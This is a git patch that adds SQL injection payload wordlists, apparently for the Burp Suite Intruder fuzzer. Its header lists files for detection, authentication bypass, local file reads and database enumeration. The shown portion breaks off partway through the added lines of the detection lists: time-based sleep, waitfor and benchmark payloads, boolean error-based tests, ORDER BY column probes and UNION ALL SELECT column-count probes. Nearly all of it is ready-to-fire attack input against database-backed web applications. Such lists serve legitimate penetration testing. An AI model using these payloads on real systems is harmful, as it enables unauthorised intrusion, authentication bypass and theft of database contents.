From b46bb6652c47570237a2ac92d67be9fbf11fd13e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=C4=B0smail=20Ta=C5=9Fdelen?= Date: Sun, 17 Nov 2019 12:12:18 +0300 Subject: [PATCH] Intruder Payloads Add Intruder Payloads --- Intruder/detect/GenericBlind.txt | 31 ++ Intruder/detect/Generic_ErrorBased.txt | 154 +++++++ Intruder/detect/Generic_SQLI.txt | 1 + Intruder/detect/Generic_TimeBased.txt | 95 ++++ Intruder/detect/Generic_UnionSelect.txt | 424 ++++++++++++++++++ Intruder/detect/MSSQL/MSSQL.txt | 12 + Intruder/detect/MSSQL/MSSQL_blind.txt | 8 + Intruder/detect/MySQL/MySQL.txt | 9 + Intruder/detect/MySQL/MySQL_MSSQL.txt | 10 + Intruder/detect/NoSQL/no-sql.txt | 21 + Intruder/detect/Oracle/oracle.txt | 55 +++ Intruder/detect/xPlatform/xplatform.txt | 193 ++++++++ Intruder/exploit/Auth_Bypass.txt | 198 ++++++++ Intruder/exploit/DB2/db2-enumeration.txt | 12 + Intruder/exploit/MSSQL/ms-sql-enumeration.txt | 11 + .../MySQL/mysql-injection-login-bypass.txt | 5 + .../exploit/MySQL/mysql-read-local-files.txt | 1 + .../PostgresSQL/postgres-enumeration.txt | 19 + .../MSSQL/payloads-sql-blind-MSSQL-INSERT.txt | 107 +++++ .../MSSQL/payloads-sql-blind-MSSQL-WHERE.txt | 40 ++ .../MySQL/payloads-sql-blind-MySQL-INSERT.txt | 90 ++++ .../payloads-sql-blind-MySQL-ORDER_BY.txt | 18 + .../MySQL/payloads-sql-blind-MySQL-WHERE.txt | 45 ++ 23 files changed, 1559 insertions(+) create mode 100644 Intruder/detect/GenericBlind.txt create mode 100644 Intruder/detect/Generic_ErrorBased.txt create mode 100644 Intruder/detect/Generic_SQLI.txt create mode 100644 Intruder/detect/Generic_TimeBased.txt create mode 100644 Intruder/detect/Generic_UnionSelect.txt create mode 100644 Intruder/detect/MSSQL/MSSQL.txt create mode 100644 Intruder/detect/MSSQL/MSSQL_blind.txt create mode 100644 Intruder/detect/MySQL/MySQL.txt create mode 100644 Intruder/detect/MySQL/MySQL_MSSQL.txt create mode 100644 Intruder/detect/NoSQL/no-sql.txt create mode 100644 Intruder/detect/Oracle/oracle.txt create mode 100644 Intruder/detect/xPlatform/xplatform.txt create mode 100644 Intruder/exploit/Auth_Bypass.txt create mode 100644 Intruder/exploit/DB2/db2-enumeration.txt create mode 100644 Intruder/exploit/MSSQL/ms-sql-enumeration.txt create mode 100644 Intruder/exploit/MySQL/mysql-injection-login-bypass.txt create mode 100644 Intruder/exploit/MySQL/mysql-read-local-files.txt create mode 100644 Intruder/exploit/PostgresSQL/postgres-enumeration.txt create mode 100644 Intruder/payloads-sql-blind/MSSQL/payloads-sql-blind-MSSQL-INSERT.txt create mode 100644 Intruder/payloads-sql-blind/MSSQL/payloads-sql-blind-MSSQL-WHERE.txt create mode 100644 Intruder/payloads-sql-blind/MySQL/payloads-sql-blind-MySQL-INSERT.txt create mode 100644 Intruder/payloads-sql-blind/MySQL/payloads-sql-blind-MySQL-ORDER_BY.txt create mode 100644 Intruder/payloads-sql-blind/MySQL/payloads-sql-blind-MySQL-WHERE.txt diff --git a/Intruder/detect/GenericBlind.txt b/Intruder/detect/GenericBlind.txt new file mode 100644 index 0000000..20d7358 --- /dev/null +++ b/Intruder/detect/GenericBlind.txt @@ -0,0 +1,31 @@ +sleep(__TIME__)# +1 or sleep(__TIME__)# +" or sleep(__TIME__)# +' or sleep(__TIME__)# +" or sleep(__TIME__)=" +' or sleep(__TIME__)=' +1) or sleep(__TIME__)# +") or sleep(__TIME__)=" +') or sleep(__TIME__)=' +1)) or sleep(__TIME__)# +")) or sleep(__TIME__)=" +')) or sleep(__TIME__)=' +;waitfor delay '0:0:__TIME__'-- +);waitfor delay '0:0:__TIME__'-- +';waitfor delay '0:0:__TIME__'-- +";waitfor delay '0:0:__TIME__'-- +');waitfor delay '0:0:__TIME__'-- +");waitfor delay '0:0:__TIME__'-- +));waitfor delay '0:0:__TIME__'-- +'));waitfor delay '0:0:__TIME__'-- +"));waitfor delay '0:0:__TIME__'-- +benchmark(10000000,MD5(1))# +1 or benchmark(10000000,MD5(1))# +" or benchmark(10000000,MD5(1))# +' or benchmark(10000000,MD5(1))# +1) or benchmark(10000000,MD5(1))# +") or benchmark(10000000,MD5(1))# +') or benchmark(10000000,MD5(1))# +1)) or benchmark(10000000,MD5(1))# +")) or benchmark(10000000,MD5(1))# +')) or benchmark(10000000,MD5(1))# diff --git a/Intruder/detect/Generic_ErrorBased.txt b/Intruder/detect/Generic_ErrorBased.txt new file mode 100644 index 0000000..cae9273 --- /dev/null +++ b/Intruder/detect/Generic_ErrorBased.txt @@ -0,0 +1,154 @@ + OR 1=1 + OR 1=0 + OR x=x + OR x=y + OR 1=1# + OR 1=0# + OR x=x# + OR x=y# + OR 1=1-- + OR 1=0-- + OR x=x-- + OR x=y-- + OR 3409=3409 AND ('pytW' LIKE 'pytW + OR 3409=3409 AND ('pytW' LIKE 'pytY + HAVING 1=1 + HAVING 1=0 + HAVING 1=1# + HAVING 1=0# + HAVING 1=1-- + HAVING 1=0-- + AND 1=1 + AND 1=0 + AND 1=1-- + AND 1=0-- + AND 1=1# + AND 1=0# + AND 1=1 AND '%'=' + AND 1=0 AND '%'=' + AND 1083=1083 AND (1427=1427 + AND 7506=9091 AND (5913=5913 + AND 1083=1083 AND ('1427=1427 + AND 7506=9091 AND ('5913=5913 + AND 7300=7300 AND 'pKlZ'='pKlZ + AND 7300=7300 AND 'pKlZ'='pKlY + AND 7300=7300 AND ('pKlZ'='pKlZ + AND 7300=7300 AND ('pKlZ'='pKlY + AS INJECTX WHERE 1=1 AND 1=1 + AS INJECTX WHERE 1=1 AND 1=0 + AS INJECTX WHERE 1=1 AND 1=1# + AS INJECTX WHERE 1=1 AND 1=0# + AS INJECTX WHERE 1=1 AND 1=1-- + AS INJECTX WHERE 1=1 AND 1=0-- + WHERE 1=1 AND 1=1 + WHERE 1=1 AND 1=0 + WHERE 1=1 AND 1=1# + WHERE 1=1 AND 1=0# + WHERE 1=1 AND 1=1-- + WHERE 1=1 AND 1=0-- + ORDER BY 1-- + ORDER BY 2-- + ORDER BY 3-- + ORDER BY 4-- + ORDER BY 5-- + ORDER BY 6-- + ORDER BY 7-- + ORDER BY 8-- + ORDER BY 9-- + ORDER BY 10-- + ORDER BY 11-- + ORDER BY 12-- + ORDER BY 13-- + ORDER BY 14-- + ORDER BY 15-- + ORDER BY 16-- + ORDER BY 17-- + ORDER BY 18-- + ORDER BY 19-- + ORDER BY 20-- + ORDER BY 21-- + ORDER BY 22-- + ORDER BY 23-- + ORDER BY 24-- + ORDER BY 25-- + ORDER BY 26-- + ORDER BY 27-- + ORDER BY 28-- + ORDER BY 29-- + ORDER BY 30-- + ORDER BY 31337-- + ORDER BY 1# + ORDER BY 2# + ORDER BY 3# + ORDER BY 4# + ORDER BY 5# + ORDER BY 6# + ORDER BY 7# + ORDER BY 8# + ORDER BY 9# + ORDER BY 10# + ORDER BY 11# + ORDER BY 12# + ORDER BY 13# + ORDER BY 14# + ORDER BY 15# + ORDER BY 16# + ORDER BY 17# + ORDER BY 18# + ORDER BY 19# + ORDER BY 20# + ORDER BY 21# + ORDER BY 22# + ORDER BY 23# + ORDER BY 24# + ORDER BY 25# + ORDER BY 26# + ORDER BY 27# + ORDER BY 28# + ORDER BY 29# + ORDER BY 30# + ORDER BY 31337# + ORDER BY 1 + ORDER BY 2 + ORDER BY 3 + ORDER BY 4 + ORDER BY 5 + ORDER BY 6 + ORDER BY 7 + ORDER BY 8 + ORDER BY 9 + ORDER BY 10 + ORDER BY 11 + ORDER BY 12 + ORDER BY 13 + ORDER BY 14 + ORDER BY 15 + ORDER BY 16 + ORDER BY 17 + ORDER BY 18 + ORDER BY 19 + ORDER BY 20 + ORDER BY 21 + ORDER BY 22 + ORDER BY 23 + ORDER BY 24 + ORDER BY 25 + ORDER BY 26 + ORDER BY 27 + ORDER BY 28 + ORDER BY 29 + ORDER BY 30 + ORDER BY 31337 + RLIKE (SELECT (CASE WHEN (4346=4346) THEN 0x61646d696e ELSE 0x28 END)) AND 'Txws'=' + RLIKE (SELECT (CASE WHEN (4346=4347) THEN 0x61646d696e ELSE 0x28 END)) AND 'Txws'=' +IF(7423=7424) SELECT 7423 ELSE DROP FUNCTION xcjl-- +IF(7423=7423) SELECT 7423 ELSE DROP FUNCTION xcjl-- +%' AND 8310=8310 AND '%'=' +%' AND 8310=8311 AND '%'=' + and (select substring(@@version,1,1))='X' + and (select substring(@@version,1,1))='M' + and (select substring(@@version,2,1))='i' + and (select substring(@@version,2,1))='y' + and (select substring(@@version,3,1))='c' + and (select substring(@@version,3,1))='S' + and (select substring(@@version,3,1))='X' diff --git a/Intruder/detect/Generic_SQLI.txt b/Intruder/detect/Generic_SQLI.txt new file mode 100644 index 0000000..8b13789 --- /dev/null +++ b/Intruder/detect/Generic_SQLI.txt @@ -0,0 +1 @@ + diff --git a/Intruder/detect/Generic_TimeBased.txt b/Intruder/detect/Generic_TimeBased.txt new file mode 100644 index 0000000..ba17f6a --- /dev/null +++ b/Intruder/detect/Generic_TimeBased.txt @@ -0,0 +1,95 @@ +# from wapiti +sleep(5)# +1 or sleep(5)# +" or sleep(5)# +' or sleep(5)# +" or sleep(5)=" +' or sleep(5)=' +1) or sleep(5)# +") or sleep(5)=" +') or sleep(5)=' +1)) or sleep(5)# +")) or sleep(5)=" +')) or sleep(5)=' +;waitfor delay '0:0:5'-- +);waitfor delay '0:0:5'-- +';waitfor delay '0:0:5'-- +";waitfor delay '0:0:5'-- +');waitfor delay '0:0:5'-- +");waitfor delay '0:0:5'-- +));waitfor delay '0:0:5'-- +'));waitfor delay '0:0:5'-- +"));waitfor delay '0:0:5'-- +benchmark(10000000,MD5(1))# +1 or benchmark(10000000,MD5(1))# +" or benchmark(10000000,MD5(1))# +' or benchmark(10000000,MD5(1))# +1) or benchmark(10000000,MD5(1))# +") or benchmark(10000000,MD5(1))# +') or benchmark(10000000,MD5(1))# +1)) or benchmark(10000000,MD5(1))# +")) or benchmark(10000000,MD5(1))# +')) or benchmark(10000000,MD5(1))# +pg_sleep(5)-- +1 or pg_sleep(5)-- +" or pg_sleep(5)-- +' or pg_sleep(5)-- +1) or pg_sleep(5)-- +") or pg_sleep(5)-- +') or pg_sleep(5)-- +1)) or pg_sleep(5)-- +")) or pg_sleep(5)-- +')) or pg_sleep(5)-- +AND (SELECT * FROM (SELECT(SLEEP(5)))bAKL) AND 'vRxe'='vRxe +AND (SELECT * FROM (SELECT(SLEEP(5)))YjoC) AND '%'=' +AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP) +AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)-- +AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)# +SLEEP(5)# +SLEEP(5)-- +SLEEP(5)=" +SLEEP(5)=' +or SLEEP(5) +or SLEEP(5)# +or SLEEP(5)-- +or SLEEP(5)=" +or SLEEP(5)=' +waitfor delay '00:00:05' +waitfor delay '00:00:05'-- +waitfor delay '00:00:05'# +benchmark(50000000,MD5(1)) +benchmark(50000000,MD5(1))-- +benchmark(50000000,MD5(1))# +or benchmark(50000000,MD5(1)) +or benchmark(50000000,MD5(1))-- +or benchmark(50000000,MD5(1))# +pg_SLEEP(5) +pg_SLEEP(5)-- +pg_SLEEP(5)# +or pg_SLEEP(5) +or pg_SLEEP(5)-- +or pg_SLEEP(5)# +'\" +AnD SLEEP(5) +AnD SLEEP(5)-- +AnD SLEEP(5)# +&&SLEEP(5) +&&SLEEP(5)-- +&&SLEEP(5)# +' AnD SLEEP(5) ANd '1 +'&&SLEEP(5)&&'1 +ORDER BY SLEEP(5) +ORDER BY SLEEP(5)-- +ORDER BY SLEEP(5)# +(SELECT * FROM (SELECT(SLEEP(5)))ecMj) +(SELECT * FROM (SELECT(SLEEP(5)))ecMj)# +(SELECT * FROM (SELECT(SLEEP(5)))ecMj)-- ++benchmark(3200,SHA1(1))+' ++ SLEEP(10) + ' +RANDOMBLOB(500000000/2) +AND 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2)))) +OR 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2)))) +RANDOMBLOB(1000000000/2) +AND 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) +OR 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) +SLEEP(1)/*' or SLEEP(1) or '" or SLEEP(1) or "*/ diff --git a/Intruder/detect/Generic_UnionSelect.txt b/Intruder/detect/Generic_UnionSelect.txt new file mode 100644 index 0000000..d23a6cc --- /dev/null +++ b/Intruder/detect/Generic_UnionSelect.txt @@ -0,0 +1,424 @@ + ORDER BY SLEEP(5) + ORDER BY 1,SLEEP(5) + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')) + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4 + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5 + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6 + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7 + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8 + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9 + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10 + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11 + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12 + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13 + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14 + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14 + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15 + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16 + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17 + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 + ORDER BY SLEEP(5)# + ORDER BY 1,SLEEP(5)# + ORDER BY 1,SLEEP(5),3# + ORDER BY 1,SLEEP(5),3,4# + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5# + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6# + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7# + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8# + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9# + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10# + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11# + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12# + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13# + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14# + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14# + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15# + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16# + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17# + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18# + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19# + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20# + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21# + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22# + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23# + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24# + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25# + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26# + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27# + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28# + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29# + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30# + ORDER BY SLEEP(5)-- + ORDER BY 1,SLEEP(5)-- + ORDER BY 1,SLEEP(5),3-- + ORDER BY 1,SLEEP(5),3,4-- + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5-- + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6-- + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7-- + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8-- + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9-- + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10-- + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11-- + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12-- + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13-- + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14-- + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14-- + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15-- + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16-- + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17-- + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18-- + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19-- + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20-- + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21-- + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22-- + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23-- + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24-- + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25-- + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26-- + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27-- + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28-- + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29-- + ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30-- + UNION ALL SELECT 1 + UNION ALL SELECT 1,2 + UNION ALL SELECT 1,2,3 + UNION ALL SELECT 1,2,3,4 + UNION ALL SELECT 1,2,3,4,5 + UNION ALL SELECT 1,2,3,4,5,6 + UNION ALL SELECT 1,2,3,4,5,6,7 + UNION ALL SELECT 1,2,3,4,5,6,7,8 + UNION ALL SELECT 1,2,3,4,5,6,7,8,9 + UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10 + UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11 + UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12 + UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13 + UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14 + UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 + UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 + UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 + UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 + UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 + UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 + UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 + UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 + UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 + UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 + UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 + UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 + UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 + UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 + UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 + UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 + UNION ALL SELECT 1# + UNION ALL SELECT 1,2# + UNION ALL SELECT 1,2,3# + UNION ALL SELECT 1,2,3,4# + UNION ALL SELECT 1,2,3,4,5# + UNION ALL SELECT 1,2,3,4,5,6# + UNION ALL SELECT 1,2,3,4,5,6,7# + UNION ALL SELECT 1,2,3,4,5,6,7,8# + UNION ALL SELECT 1,2,3,4,5,6,7,8,9# + UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10# + UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11# + UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12# + UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13# + UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14# + UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15# + UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16# + UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17# + UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18# + UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19# + UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20# + UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21# + UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22# + UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23# + UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24# + UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25# + UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26# + UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27# + UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28# + UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29# + UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30# + UNION ALL SELECT 1-- + UNION ALL SELECT 1,2-- + UNION ALL SELECT 1,2,3-- + UNION ALL SELECT 1,2,3,4-- + UNION ALL SELECT 1,2,3,4,5-- + UNION ALL SELECT 1,2,3,4,5,6-- + UNION ALL SELECT 1,2,3,4,5,6,7-- + UNION ALL SELECT 1,2,3,4,5,6,7,8-- + UNION ALL SELECT 1,2,3,4,5,6,7,8,9-- + UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10-- + UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11-- + UNION ALL SELECT 